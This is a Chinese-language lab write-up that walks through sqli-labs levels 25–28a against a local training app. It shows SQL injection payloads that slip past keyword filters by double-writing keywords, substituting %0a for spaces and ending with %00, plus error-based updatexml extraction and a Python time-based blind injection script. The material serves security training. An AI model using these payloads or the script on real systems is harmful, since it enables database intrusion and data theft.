一、環境
網上都有不過多闡述
二、sql-labs第25關
它說你的OR和and屬于它,那就是過濾了OR和and
注入嘗試
不用or和and進行爆破注入,很明顯是有注入點的
?id=-1' union select 1,2,3--+
?
查看數據庫
?ok,此道題算是解了但是如果我們用了and了呢
?id=-1' and updatexml(1,1,1)--+
很明顯報錯
繞過方法雙寫and
?id=-1' aandnd updatexml(1,concat(0x7e,user(),0x7e),1)--+
?
三、sql-labs第26關
看看界面沒空格和注釋符了
?試著看看怎么報錯
替換一下空格 /**/,很明顯也被過濾掉了
mysql中有常見的空格%0a,%0c,%0d,好還是不行
?看看源碼到底過濾了啥,都是替換形式過濾
那很明顯and爆破注入是可以的,去試試,很明顯確實是可以的
?id=1' aandnd
?注入語句,當然這個注釋也可以and一個全真式繞過
?id=1' aandnd(updatexml(1,concat(0x7e,user(),0x7e),1));%00
四、sql-labs26a關
換了一個閉合方式和26一樣的,單引號閉合多個括號
?但是報錯被注釋了,那我們只能盲注了
先測試一下很明顯沉睡了三秒
http://127.0.0.1/sqllabs/Less-26a/?id=1%27)%20aandnd(if%20ascii(left(database(),1))%3E100,sleep(3),0));%00
?
行了,上腳本吧
import requests
import time
def inject_database(url):name = ''for i in range(1, 20):low = 32high = 128mid = (low + high) // 2while low < high:payload = "1')aandnd(if(ascii(substr(database(),%d,1))>%d, sleep(2), 0)aandnd('1')=('1" % (i,mid)) params = {"id":payload}start_time = time.time()r = requests.get(url, params=params)end_time = time.time()if end_time - start_time >= 1:low = mid + 1else:high = midmid = (low + high) // 2if mid == 32:breakname += chr(mid)print(name)if __name__ == "__main__":url = 'http://127.0.0.1/sqli/Less-26a/index.php'inject_database(url)
五、第27關
看一看27的過濾
?嘗試一下雙寫
http://127.0.0.1/sqli/Less-27/?id=-1%27%0auunionnion
ok繞過了?
開始查詢
http://127.0.0.1/sqli/Less-27/?id=100%27%0auunionnion%0aSelEct%0a1,2,3;%00
?
好了很明顯注入點在2,3操作就行了?
爆破注入也可以
http://127.0.0.1/sqli/Less-27/?id=1%27%0aand%0aupdatexml(1,concat(0x7e,user(),0x7e),1);%00
六、第27a關
閉合方式變成"號了跟27一模一樣
七、第28關
?id=1%27)%0aunion%0aselect
?被限制了
有個/i修飾符無視大小寫了,如何繞過?雙寫即可
http://127.0.0.1/sqli/Less-28/?id=1%27)%0aunion%0aunion%0aselectselect
?
最終
http://127.0.0.1/sqli/Less-28/?id=100%27)%0aunion%0aunion%0aselectselect%0a1,2,3;%00
?
八、28a
跟28一樣的,而且限制變少了,沒空格等限制了